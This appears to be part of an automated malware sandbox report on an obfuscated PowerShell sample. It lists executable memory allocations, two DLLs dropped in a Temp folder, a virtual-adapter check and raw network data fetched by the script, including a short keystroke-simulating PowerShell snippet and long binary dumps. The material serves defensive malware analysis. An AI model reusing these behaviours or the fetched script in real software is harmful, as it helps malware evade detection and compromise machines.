NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a94000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06333000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06880000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x069d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x069d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x069d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x069d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06334000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06335000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06336000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06337000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021fd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05561000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06338000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2712 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2712 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02070000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2804 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e80000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 18, 2023, 9:45 a.m.	process_identifier: 2804 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	c:\Users\test22\AppData\Local\Temp\afgz_pv1.dll
file	c:\Users\test22\AppData\Local\Temp\9mrxduhn.dll

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\9mrxduhn.dll
file	C:\Users\test22\AppData\Local\Temp\afgz_pv1.dll

File has been identified by one AntiVirus engine on VirusTotal as malicious (1 event)

ESET-NOD32

PowerShell/Obfuscated.AF

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 18, 2023, 9:45 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (30 events)

Data received	HTTP/1.1 200 OK Date: Mon, 18 Sep 2023 00:45:14 GMT Server: Apache/2.4.55 (Win64) OpenSSL/1.1.1s Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Mon, 24 Jul 2023 13:07:36 GMT ETag: "264-6013b4c607aeb" Accept-Ranges: bytes Content-Length: 612 Keep-Alive: timeout=5, max=100 Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo); } "@ # Define VK_WIN constant $VK_WIN = 0x5B # Define VK_D constant $VK_D = 0x44 # Define KEYEVENTF_KEYUP constant $KEYEVENTF_KEYUP = 0x0002 # Press Win+D [Win32]::keybd_event($VK_WIN, 0, 0, 0) [Win32]::keybd_event($VK_D, 0, 0, 0) # Release Win+D [Win32]::keybd_event($VK_D, 0, $KEYEVENTF_KEYUP, 0) [Win32]::keybd_event($VK_WIN, 0, $KEYEVENTF_KEYUP, 0)
Data received	[
Data received	We·W»N½ôOÚ³¤ªUcAàMNDOWNGRD Ö\|!¢)Z+âðÛì ¾ê?ï£KÒz]ÈÀÿ
Data received	k
Data received	K
Data received	GAº\àS HW>cªâûñs[Û×èUÄ¸99ÂÆò@qÖù2ÛJuq+6ünû(ù×êºåÆÈí¸¯üÍüÎéoä¡CmªÃ3woA°#ß³¹ÎYiDû¶mf"iò?±F¨hý+ÌjBÎÛ>ÙÑËHIcÇ- \|}ÌÜ]béû(jËî¼» \XE`¹a°/I)S1VÇÂú'àß«FëÏ×[¾xú¬â#Æâë`à\c~ý®å= Óº$¦~øD:ªi³ ¹pº+nÖJã¡ áí6µsÍùÁÚ®s[Ü_¦@v6òØ2Ý©ä¨í»2à5¶=ct,2
Data received
Data received
Data received
Data received
Data received	0
Data received	ÿ»ÌüTÅ¯ pVÇo¤?X`J$ÃÒI¬»'ÓRG×äªDòàUi£g
Data received	p
Data received	urßTTkeuEóYÖ²´Æ½\ÀÅò§/~¸ÏOÅ¶Mñü{ÌþÓÇØLýúÊ-ïWô@üsQqgI;H·ÀpHq!£G®½âep¥âÆÎßIÐÑõsNN¼\æBß(W%åÇðdìâWr³Î.Ø@ZõôCu0>ª»í2vâÕ íêê-Ü~ô×u4MUì³v`ÅØÌ ÛUç+)û´ÿV\|UÑ÷Âµ'Ï,h -¸ï%sÑ:÷¿4ì¤ ÍÃ\h\|>æåµßÙ2\|YmkzCÿoß° Íú£M#®Ý¥õE7¤V.&´dÿ%D:0â~òíøõjuJ-rÁi=]'ymFDk½YwÆXù±.lA-:Ø:\¾éÑ`ÝÐó¤L` ÐÓÇæÖKî_&µdÜ å2£»ÔªwôÉ8Bî]úÝhÆSÿóZå ä»^EdCxzh³ù§>¡æn×·µF%lÇÐAci¬×nRÿãÍÅo'Þ[¼y#7(¡Ê}{t¼HÅâÍ¾àJüp(Zêû°çÐá¨KdÖùmÞY°þXá)ïôsC¤¦frÒVÀàWÙømÔ:#ý(,É`d!5¢9}w[óü 7Qª ]'_¬t%ý$.è ýlhÄ9¯ÓÌ)µo$ÕC×-:3A+Sj'ÜÅÅ9ð/OIô^R¬Ô<F´áË éC8î)ÿâË¹m "R]øø ÷(ÇXÍ©å¯î_)ê´Üi±p¢VëÚ!¯( 0¯éÔ(»2Ê©tJI;Â@Wt,YàNÏ¢µÕäQ-} TÞ¯H]6¼×V§zÊeÀ>1&®ÃÊÖò ÜM/[î»&JÂFªW©Ti§ð!á`-Q¯"9hî¬7ûõÃ5t£Ö!®ÆnÁéË'zoÔÕd¸Ý®m¿Û+ %?áLÑÎC§¶Ã}T©a¬Z'ÐTàV¸o¬Üès0³½_gæuÿão1zÿLb9b¨j6%1fê®(áW@\Ö³DõkìÒç{I<2ºÐ×õBö{øq³æ²¡£zs+NØhäËClêwµë@Ìb®³ês@A§µßì:ø½²4V}³qdÙñÎw6NßB¯8wK2,®u¥%îÚÓËPf¿ø?eCÿH»òåAM:·B^ÎPÈ8,è°ô;IægZ#FáãÁê¶O56Qh`Øõ©<wGw©ÃOÅÄª .=' ¼Í«Ô ¬ô¼ö4¢ÆXJë_½ÝÜ:tQËWæ÷óÝvÔôõTRwmñ±(æûCÞCö gÔóôówÅ×$#n¢5=5/Ö+Ñ"Ë]¨5¯ÜjbCCÛ/Y§äg)Ea±HW3-Ïr©²ÑÛ$1®ûÛë ~\çì5ü¶ãñíh3<ë!â t3[ÑÎ}ÿSÀ5i\|QèÍÐË<Ø¾ÿûäïÏº²¯¦^]A'KÝê Ã>L¢µò-zA\môAôªÊ8k©È¦Eë`W&(f3S½5Ñ3ô+ÊÜ7å2w±lÌ
Data received	i¡É?ª,iÿ¶ó³<Þ&Ç´B,Óì/òð¹n#rV?~üÀBd¡×kIµ ª+´è'·1Å/`M9Âz®rícän]ÐúõÆYð;yWCpçáªqÚÇ~Õx4L9GÍ ¦JònE¿/[kÙ^ógèH6ßhÌ}øÿå¼AÏKÿ`ÝÅûlÀËøµDTK-ÿazT(~sf9ÝöäF]ìê¦,"º&Ý`D»^yê UcF¨uA"¢FÊ?"Âèç@Ðóù#ïÅðAlg\QsCT°ÉÌÂ Ëã÷!Ý_wÍóÑ;æf²®¯ò¤H6He'ñögÙ¥Ë_cM{&¶±ô³ÏfçV¤½<þ'Âu¦X·ê%]Öb{óµY¤¿¢:rY¿)%mù¦ýÙ a6ÃR³Åµ8ý-¹ùÈýìÌëâJ^ëÔ"áÍîõFÕà9w%§Æ°ão ¿ùì¡8!³a,¢Gªû_Ra!B'«ôºZyX!°¤úf²d½ÝQû3`=m¯=:ücª0ènC:¹JØu´Ìaý2§wô4ÉA3z;f·Õ1³âåõÜ§u÷Ní®&tãfZiÏCòö¦° nV¡Æp±&Jaia9@`ÙÜâa}þlìâS¦5Ë»ôFûHM :£f £ÆwöHh¶¾_`+G±!>òùJOIìÿO¾";å3uWÚhySiùa2RÀ{ÏR÷ËÂA´>ë½zñpµqY+Íæ¥ÄPpBõ,F'ï Ò·à1ë Î$l9±vL:)nb.oûÄåÜÂ8 ¯ í¹è1WðÁ 932ºt¡âx «4ßÇ0xðsË÷é¼Cf2ÍbsÇyE$ÿ &}\t¥¤üAVjA ²1Ã0/Î³BÏØÜ@¡YÉ4¤&1ø¡Í/³Ê¿W=®6ºÒÓa-wÂ¸ÞÒÍÌò³ø=Îªß6d>C=WM ®ÜÆè} 2æe\+´ÍBÓèå;r=:Æ8ÎdÕSN¢(Î'ÕFGÂ¥;%ûÜ'ÕÓÀ3\|v3,{ßwÊÉ!ÕQ= Cy_î4+&áE_,Vr8ZcX¿ÎñþDúûÝÔ«Ùñ¨P¤"ú¶øp¿y\×@û3xaEþ^ 8eBU¯ªÞöF þßPB/M§±qì®¢m2ÂìËp¥àqØêÉ°íáÕÊtÝgcßì´*\ûD«¨¶3uêÔ¤)L?ßOj§éR¯ÓZ¨ð$Îd0ªlçß¬¢¡%LN\%µ²z¾^ÃévòÞ?SäU±ËÚñèhþFçÅÙ¯Éi±:wCbu»V@XÕT\|8;RÛ^ÜM)k:ùzr(xªj96 ¢N%pÈCöbM¢¿O2èr¡Ù-\¸ «Âë&¼_:"FaÎ»æeI5ÁèÈé%ÿ[KdëÒkiv.µï]¤ì$!·N/ç$6E#Ñ\PóñË äËÒ:¨SZÖWDÄé7í;>='à0iê\pqO%Ñ0ù±ò\zå`)ð¢æÓ§L°Þ]©p£
Data received	©·½âëÉIñæW¼°E×¡ò[eõú=c"B÷¸,êÉXÃ1ÑÅ¶ÕCó\Hs°°¡_¥Ylm=ÊÃG¥\"Èt%Sí(7,.éy';Ôº^F_mGô4cÖ°µïÙ35zä#þãÌ¢ÜjKîzùìäx 16CÓ ü\|´° È&°4§~ ïÖø¯>Â+\©öå'ìüx%&'ø@÷_¡ÃìÀ°-öñ {Ú%bùÈ¶¬;U$M³\·ù7UNç×Ý#ÿc&MgÚ5yñ.ÅRÛèÀX¶L@Vàã²ZOV2X¶ËÃL§ñú¼£Uo)#@Âã×ßù÷£Âè©¬COfd¨VU÷muO(oèXèÕÒ½ê¡ÜzêoÊ>¤D¾V>ìUoÛø«ËwÔgAojJêðpwz¼aØ«8FÈÒmTÔCO1KhM·!É´éc©-2WueîØ;Ö_Öai2½¹²º£cyôfzh<¡àÐ)þ @¿wy~G,NöÖ¼Äº&^:;ÂÒ4½jè\Ü¼NäÚ!j¡:ïP¥ýò'4&éð´ræ²Ì7>½NOLÜó4Ì\ à ûËY÷ÛçÛòS=IÊ¹ÊÇ,5î´ q #(é¾Er¼&xöÇ×¾Ø0MºÅÚ³Y¼ÁÙ] WxiÛAÚ!óótæÒ_³CÐ¤qç<\?LpátÅ`OóZc@"mh-[³êXqî>^è:~þÏR¸"M0ôZ>&ÚÃÓ[Ìãè}àQ9õõ=Ð\|ÿÁi_QÇJÒ¾æI¤×&)Wãpu0MÐIÇ¿UEÜÞa>YbäðÚ¬Î`Æ¼(³¸Ía OÄ°O É¸ß8¼ý+¯]ÃìV0/BªDUöØï r§Ã;è]q¿¨¶:ï&gã[,Q$ q±H´´`´#.Ù?%¥-3ÝSQÕ[ãW§ò¯Ñ7´j£IàÚo4øÔ»sb¿ùá[]@xæ[×sÞØÈ¸T!HñÀ¡ýIË=©¤·bÓSÑ3Meql×ÖsÔoÀ£xÑáægdÆ+S©µdwlÆØßÁwK ¹2ÅnÍd²/0 IÈË.;á¾íZêÆ§"j¦)â³&«`³`dMÝvÕÈ0L ë¡csÄÝ1a¤{Ñ¹ap')CQUU·r÷ì¬)ZdîËô³¹äW Ö øÏ!¡ú'øëßî{`µrbçr" Y'¹·UFHÅÙ>ò¿Õ±ó_ö-Ð8¿P1\>x"+¥g1!=6S7¯ª:)æ±Û'ß-K¢Bº jÀÚçC0û7ð¶5Ql¼}Ú¬é©òüÄþ[üÆÇTd³¥}§ÅR^Õ°RìCðv0´±&áT?!Gc8 Ï9iÈÃõ<ÃÉØt¯XpàÖCÈÂ})A\|zz1Øþô Ài[£ð#ÔØí&Á0ÃA]ûí7Yú¯äÚÊêíPæ}÷.Ò±(læù7Ô(!j³+©G®&T¡IVN·¬®Ð;^ýTn!pß4X L³¹²&d'Ùìûyæ2¬rJu%OÚ<HýyË´ÄMµËr
Data received	Y´?9)ëA<ÏÕ¢Èî³YC&<XºOÃhí@G\|FÜ¾þF!ã@¬ÐòÝü4â<y§.ØJv4ç4àÔ56K#\5ÓäWsr5ªiÒæ øx³Ò¯ BúRñ²¶p$¢¬bqÉÕ´'ÞË}2V>J°¬û®xùÒ3lv&1z,<buDÛÎ!o¨ùT¿zàV÷ Ü®Ä_7û7§A;Û£ïPpf3øØ«CÁ}z5³r½ºqøî¬T#yG¡DÂ>Nô2ÚÇ!2Â¹ úõéaÔáÓÖvÃ9muMæùm¡¹ÈÌ>ïz}êV?âý&#Çêçõÿ]Úß\|©þ.~ .,óXè#Kt µLGäODC· d. ú»o£ÔÖZ$ö[W¼U¥«Ñ£¸Æ½Yi#òóØè^¬Ú2^_oµç«äMÁ»P$Ê^+Ô>:t,¹ÑÆ%èh"ÅDÖ\öv~ÓÖr¦û§Ð;qóÌÃ´¨q©©çè».9`@ö£fò1û½Í ,®ä÷1:Þº»ÀÕÄÕsGÛú5!Gè.Xl\]QÇBP3²¿X"ð,·yLÆâgD¾'×6cÍã÷ûÈíBxz_÷u]Ül4¸ÇÎÞÓÀèaAíøÙ"Ñç}Ç¦]ø¢«Äl²÷â')VøË¹q«·V½õ³i¼5ÖfB Ò/Ö?«Ç Pþ£8g¬å¡ÞÙó®ñh r½¦dÎ¦Et.sàÃ ïÇ¾FpöãªJ k!¢ »X(W¶m`'Õ)"AGbý\|¼/ãÀÏ}<ÝÁ@F,ðü¨4ä±;pÉÊSáª Ûú'²-²K ¯y/P½WÅÊä3QCPÞü½Î ¥@«¸¶EÍvnÛ%wÐ=r,qZÝþ,9´©k?}»ËÝã^+åe\.µöÇêa¸ÆdV¯²ªw¯õ0ãcÈ wmáóç¡æaæÇÌx_ÜæÂ¼þ.VØRuÄ<°lÖúTbuGÛâoÃJ@ÓrX¨X#3R ]^2üîÔ"pPú&;63BjÊ.ÌÝØÓø.1XN¢[Þò@Ì®îâNgjÅ¨!ÿý;)_(Q]®ß¯J¶¯ç¥sÕ#µD¼1Âeò9yE$\×Ð÷Ný°âúiÐª¾9~0uk(dtõþå[o§_O`Òé È@Èÿ/[ø¼ne?ÔÁ¶ÒÔxf êl^F§N¼ëa`¥X/\|íÝÂ¥Î]SaX^èÑº"R H¯ºjÛÉlØÛ8o9ß^à7oxE0vªKy³v¬?øáÎÐ"i1h¡Ò¨Ñ^Eá5IcÚñíüÓü:<ÏÒ¹=cÅÜW3ú2M"WJÝ9ºö/Ñ´4[¢ãW1tìEû¤ÔÄÐv¶le`Åf Ë*òo³39ðqTyä'ÉÏdl¹AëËêZèõðûKIÏéGVÜÑÚê<3×øÕç}9å&É ÝÊhñ¯©MÃLu¯Ð7¥bó¤d(BÏ,ËXà.Ö7õ÷²U%yaÁdÈ^â~XhÝWÑdð¶ÞFÝÎÊ¹Æ^-ú ù¢Y¨ç;²àÜò
Data received	gå¶º»ÿù6c÷£;d¤á@ë{5ÌMP#´N QH2±^üSÎ,þõä¹{#¬-L%Vº2â\åMTÑ=kßüeG×ïÖ({F!Hs¹¥Ê5(PSØ-òÕ`\|¾Ø°éBaðs)¹ îv5Î;ê¬h0¦S¨7X®ZÂ\Âhö ÝªCäÚKt¦XØ0ÁF¿ù$ L{Oæëd>!/ïU§9ûOQ ,Àb\|¥=HF7êÃBÂ,Ø~óþE<¤ti¦Jc$°C¡nÿ0jjðLôÃ6ðSa)³òÍ´v,ïY§øâ>4µ÷é7+¨¦ ?)EÀÐKÄ?û(f¹ ¯>iÏÆâÁ4²eº²O]ãý"5ãß}s#D\ÀcÚ ôÝÿðÎÿcüúÈu¯nf3ØªLFyºíñë»MÓX`ËUáþÙÛ·ÃÅ-håùa¦ë]6.¼}xHù¹ àî¤8þ=Zc:ßÿØ×_!"håÓö¡._®¶ÙÏcBHÀìh¹Û2U_ËÛ+ÛÏªÝÝãÐ÷X²B9TÎÏðIº² àVZ-2Iwu4]uD¨ÊÀ ÿ-PÜá¦S¥1 ¸ÎÓêÅÿ7Ü9ÈÒÇ$czÂ(Sa²ä¬ðæp4¾VêÑý@5PÎã`q/ÜNÄ\|«Á'Ëè¾Qá¤H¼UÁ¸chÕGWR0fÇF4Ð_aùA®ÑèèDÍ!y)ë{0bí÷·`ëOÍÜ8~SÁÌôiwp®éÔ©qAií$M!rÆÒËJµ&HyIºÞØGmÝFI#÷Û²úENás©LoÖ{g®b½x:àË¹E&2íR Í·f{GÀ¦©v%W.ïfQ¼Ú]üu1#,g¡¡9>zj==@¼6w!w è)¡Yý}j(l£] Q .Eü9DªápøZÐÐe¶«ÌpL^Û`I6Qv0ð:wüÅ(S6²9,µÝ-~FÔúç[Á]tÈÁÓjíaó(ÿ»"k+Ð?K#¯7v=³V[.Ó°èí=¸ÚÏAGdþU»5NäW«ofÁTMËÌëeOÈrÔ?¥üû%ùv`£Am@Lí;JªweÂs²æ.CÒ'OøÖGf±ê> àDï`^ªjMþýõÌ)£O:·¤ìx1Ût´ªØ¿Ìèñc6ÊMb%U0ü7Æ±úÚ3mM¡÷k ©xÆcYÝrÑýfb8l©(èxøPÆµ·ø%W\|ëèqrªpbËOâfm/#·!Oú×p×,vÑSb¨Æ_dÓÓ`,¯,ùò£°ô,ï.W¨hJà@ª7 ið4Æ©uè§:>C£Áaåð§þºÒ WÛhûlnÑneÕÊÄ*äÕRzcð½ðcQ½Ój·ÞíÀùÏ¼R¶·kë`LéÈùøåwáféÈÅýÓA½åµäÑ8pÏdÊ©éÌ©»(ÆV[OAÜ¨W2Rh¢kûÁ¸Wÿ4øå)&Ù$uB¸a0µmB¬7§¹×OâKó sus¼KËÈøEÎÁÆV±JBûØdP
Data received	Xm#Á2@Ië¤))jø8è]9É0+6çÙ¸ÕÂ$_©Á¢\$¹Sv/³¥$F°:9ÁF2êÒ(xY£NÈc»&Ö7úUcj>ÊçúJhÄ&©³[º¾½.LÃU²oÕ+ oñINpÇxrbë+ôÜÂ¥9"î"¤ìtd®}ðõ÷-ý:J6ÞfÔÞñ'Eû%w95tûà`Â@;!T rSÐðºq¼§{G[v£ §JiÑZô²(¿\äÊÖo7Jgjb7ôCn±1ùÙG Q58©Ükú}N·BCÏü òC;¨RÜ;©Òfæ?¡>7À¹·Q·ÒÄÐ½O<Çº-y£yE¼áàaZÑX4x\õuI7zPÓ6æ²¤ÎÛ7É#$HEÑ°¤¾ºáúã¯¥3Ãk¤æºGÊ$:§Qx æyØE°VölW½Á&%ã¨±K.©roÄo&ó÷/1X>`É ä©aq+v mh¹(ÜEÇ ö5þz«s1ü2tq=NµæÎèÌ§ekÄwSµ-L\qÝ"öGJdÑ½d¶á)ÿKó£¤Ñ]Ò)zíï@}³¨%¾#iÛ+ô ïÊçõ'ËM~%ðÈ¦ðù~·É=!¹Ehû&ÎfiöxC6^Þþuý5oÐÏXÜj:O¦YøS»G<¦ôÛÃGDæaGkïf(<ë:äÚÔrÈ¹¯Ä>¤fné&/z¬v ¸\|tÀßÌ54kÍiþoõh½)À{$Ö p[ðn±oüÑ_rë¦ñàØÎg/U4o÷ÞþÈÜ6ñY{c¤Of©}KµØþÿ=o&t;«[÷o}c>èÝ$X%È_7.Bw£ÀymÁ5ï îh u+ :ÒÎñÎaîm{E&ñ®.ËSx K @ÿ0O>b-]y¶îhEÈ ÐÍùµ²'¨Umó2Þ;Ç,ËGÂî:Ì1ÀËgõ.4\|ÑþzB-Äî}ûÀ4ú£'³)¿¯J$?Ázr;EJäu&[ôauqé@¥FÝN`"§ÍXrPàZ ÞUêþ ÖI¤`í²½QØZSïM×HÇÊ'¤+ @§÷ð16^ÅP×¤Gá½ì*þgÏÍHM«ÞWZÐX#ÇÒæAÕ`ÆîHê°&pexà³ <¡å9² áè7#9BP¿¼¿EJ\<ñJhìªÇêS3³øÍ¼D\.[÷õ »N À?v=:6M O¸Ûôcp9õ¿½/qÂãÔ`ÄHÙLÿË#1&{Úî8Û³ôå ¢'×aÕ}º¨{¥Ê=r¹iÔÞ{¤Å6¨0mêÿá³Ëô×\Ùzø¹ðVýÔEL}RTæG0½'nHß@á®æ{î®n§>,mÿbïÔ[®Pt²óªÉóóÖbßúP×X±$D×$$:å1ÐGc {@ráiëû=.[¼pÖq^1Ba¡ó( L\|5RÚÐqüþêÍfÎU[ð±_!ê¯'gBî¯Näâ74Ð÷HNùÆ¨ÍFÅj<#¹5{j¼H=5ð 7Laòê'¼!æÁ§¯
Data received	mÚ°çÉWÕ:.m2¾\|¼bW{C^B¼N¾z# ÆåIrí¨» ¨í¾×Nzm-ªÜ{àï"ÿÞ+Å{µ[Âdäâ×Â[ý¼ëî¹b!Â`x»Ük°pÔÚ/k©ÞèztXäßOa£=â'f2z§pV;¸Ùº"GóÃÕÌ2IUuÉõªÎìFfZIÆ g©Gñ9ü^W \oA¢ÙcáÑ¸§6?À¯°Mpoì¦RV !XÇÜ ÊSçZ/? "¹Èµ ¯70{àÒÐnÓíAàé«ÜÕoTû?¾µËºÓq'ð·µfïn§w\|}]ø\|RÝ¬eí4{A¡÷÷$¢O0Æ®¾ûµ¼#îÁhÁñMþÁyqù^ãÐ\ÝåW3Ã95gM ÊÂ!UÄPz¼ÁË6Oìâµ¤s'}vxï°¢D}én[¯åá¾]4dº.¸Ó),6Áà:Å5B`ºë¼HÛÍâÙCújzä-Ç ´K+ëçÉîÔú)è#Ï í« DÏ¡JÍo« òÛÄp¯ùé¦:´&«O4ÚcÎ¹Ë+y´§üußzªÍ×çw0äáîÅ·ç¹î`C§®±Ê4QàËÉì¦EµëÄ´èzLÞ1_ÚB 0È¯Ëîø)ªoÅîäÑ"Å£?³ë¿²mzBÒ1XÑ}µ>¼¹ÕìS}î; TÑDÝ²[ £ïPþEÌúÞåÀuÁüë³ÄWÈ\|2íÍµoÍbO@%"ùÞ2¥j8è¹ò_.,£MÁ§¸ùsÅvFÈ ®¼ÈK½@½ÄRö'çí%rrVXQ8TõL{z#zÄ(taÅ@äÔê@ËK¦mÅKþ¡®êÙT}óU:æ Ù´:ÛòÂOôp4Âí@¼HÖsæ«FªÿGV®.æ©¢ ³äeåa³ ÇBkoJvÐÕiHT³+¿eÇ³ÞÑW½²dá-L¦ ¤ÞsûÉA$å~Ó©Ãi_³DëV½b²F#´æR×Ü. ½q×Óè'Üø¾·ØSý0®/Ö5JøFlòüò^=bVÃPÁðwMàoë«]'Ï§sùÜùÒÀMÏêOÈ(Çi53\]I:vîGæ¶ÒÛþxsNwJò¨%¿Æì%ºYê² 9§<\|ÉÏoE/\'¶ðñÃåÉ»îðrT}ß&`·¾";Sl:ñO¡oXFú©ù0PÓÝr+&Ó`eÃÃA k}×Âßj»N+#·-MõAÕÀ×`²ú(/¨ã½ÎÄ¯)aZ;¤ÇÉrkÖÁéNèt7mÜöÌD H:2QõÜ7(KÚé¬]ÂÆ©!M¥ñ]´ô9ñ/©;ì§+ÐdOp½;Múm¹$ÑÕlßR³x1¢øPJ±Riû8ß%U1áT%®W-)noG.î($Ð9«ã#64Ç:¼CÃ<+{NÙ}«§&YÛO¤Qu5Î1j}_-»#QWáð¡L?cÕkàÜõ³ñ¿bµ1üÌ$±òûgþV/ HÎóÝÏÐÊzq¢åd»¨¡) `¢Ê·à³¦^4Xu EV±hÜÍçð¸0z¯ºúËD
Data received	µ{QÁ1·ù~zî\|¦ÎáÈ<ewçì¡ãÿ]ÀYÛx!näSó7£})è£ljz)jò3Î·Ñ»/OìP^¨ðºÊX¶SHïôÓ÷)\|aÿÔhàBé\|Ðã¸Ù1_uæÕÓüìÀ Ã²½;é&ãÉ$ÇaØò H\á«^fµ¢Í×rÙ·Égö¥ b\ñ&nð³h\|Ø _¬\|f&XTÚÛ vNÊgÌüWÓbÄ$&ZgðJàÌS»{1úõiQÍçA]ø®Õ/Fwºlì.§¿Û¯ ÉET&2¾¨YÉQÆkÓÍÃÓÕE\Óéþf[êÿ¨e".¶dq÷e\¦zó035¸ÐÎúÊ,ãPó¼qñìÔ8åú¹òépÍy~wf gg£D¡êYM.O?a¥_ãTcôÖ$èòüáÛ oy-¯n3Ô3÷kAªÓÃ¼l<Kê§:,Ô¿A¬jÝ;øp&XJøÌ]ß/"AA;¾:ÏÃsVú¶èíÇm§cáKíåÛc.Ã³g®4F_KX[6ñL\|°Y5ÏgÂS-¦B ÓÍ9WÊÚ/ OÏýoüëbÚUü®Tãi&Ko"+Ìëÿ¹ccúE1ì-¿8Ï7À7Âê®h-â¸¾L2ÞÀG²5,~^ð EÄ'àhÁ6G<\¬i°%¿A"n¥ô<B¥/ªÌCÇ±7G;Å³¶åÕö¿&xUS]7;4þOðq´xWÁq{øµÒÇì¨ÔúÜ§K®{A£X«¯ëyÐçw=3ßí(-Øór«Ûíõ);ïw9O&ð¬yA#jgpÃô÷hõ»±I»¸Ü2ò=jaNÚ¬bÜÿÄµ¦¦Ñ)M 